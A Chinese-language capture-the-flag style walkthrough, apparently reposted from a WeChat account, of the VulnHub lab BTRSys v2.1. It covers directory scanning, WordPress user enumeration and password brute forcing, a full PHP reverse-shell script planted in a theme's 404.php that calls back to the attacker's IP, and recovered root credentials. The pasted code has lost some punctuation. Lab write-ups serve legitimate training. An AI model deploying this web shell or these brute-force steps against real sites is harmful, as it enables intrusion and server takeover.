BTRSys_v2.1

admin 2025年4月7日00:10:44评论5 views字数 3730阅读12分26秒阅读模式

下载地址:https://download.vulnhub.com/btrsys/BTRSys2.1.rar

攻击者IP:172.17.120.129 nat vmare

受害者IP:172.17.120.131 nat vmare

端口扫描

BTRSys_v2.1

ftp内容为空

BTRSys_v2.1

首页是gif动图

BTRSys_v2.1

目录扫描

dirsearch -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://172.17.120.131

BTRSys_v2.1

有wp目录,直接wpscan

wpscan --url http://172.17.120.131/wordpress/ -e u,ap

发现用户btrisk,admin

BTRSys_v2.1

密码爆破

wpscan --url http://172.17.120.131/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt

BTRSys_v2.1

获得密码admin

BTRSys_v2.1

登录wp

BTRSys_v2.1

修改代码

<?php/** * Plugin Name:Webshell * Plugin URI:https//www.baidu.com * Description:WP Webshell for Pentest * Version:1.0 * Author:xxs666 * Author URI:https://baidu.com * License:https://baidu.com */set_time_limit (0);$VERSION = "1.0";$ip = '172.17.120.129';  // CHANGE THIS$port = 1111;       // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip$port$errno$errstr30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(   0 => array("pipe""r"),  // stdin is a pipe that the child will read from   1 => array("pipe""w"),  // stdout is a pipe that the child will write to   2 => array("pipe""w")   // stderr is a pipe that the child will write to);$process = proc_open($shell$descriptorspec$pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock$pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a$write_a$error_anull);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock$read_a)) {if ($debugprintit("SOCK READ");$input = fread($sock$chunk_size);if ($debugprintit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debugprintit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debugprintit("STDOUT: $input");fwrite($sock$input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debugprintit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debugprintit("STDERR: $input");fwrite($sock$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)functionprintit ($string{if (!$daemon) {print "$stringn";}}?> 

BTRSys_v2.1

访问http://172.17.120.131/wordpress/wp-content/themes/twentyfourteen/404.php

反弹成功

BTRSys_v2.1

发现数据库账号密码

root/rootpassword!

BTRSys_v2.1

获得密码roottoor

BTRSys_v2.1

BTRSys_v2.1

su root

roottoor同时是btrisk和root的密码

BTRSys_v2.1

原文始发于微信公众号(王之暴龙战神):BTRSys_v2.1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日00:10:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BTRSys_v2.1https://cn-sec.com/archives/3914629.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息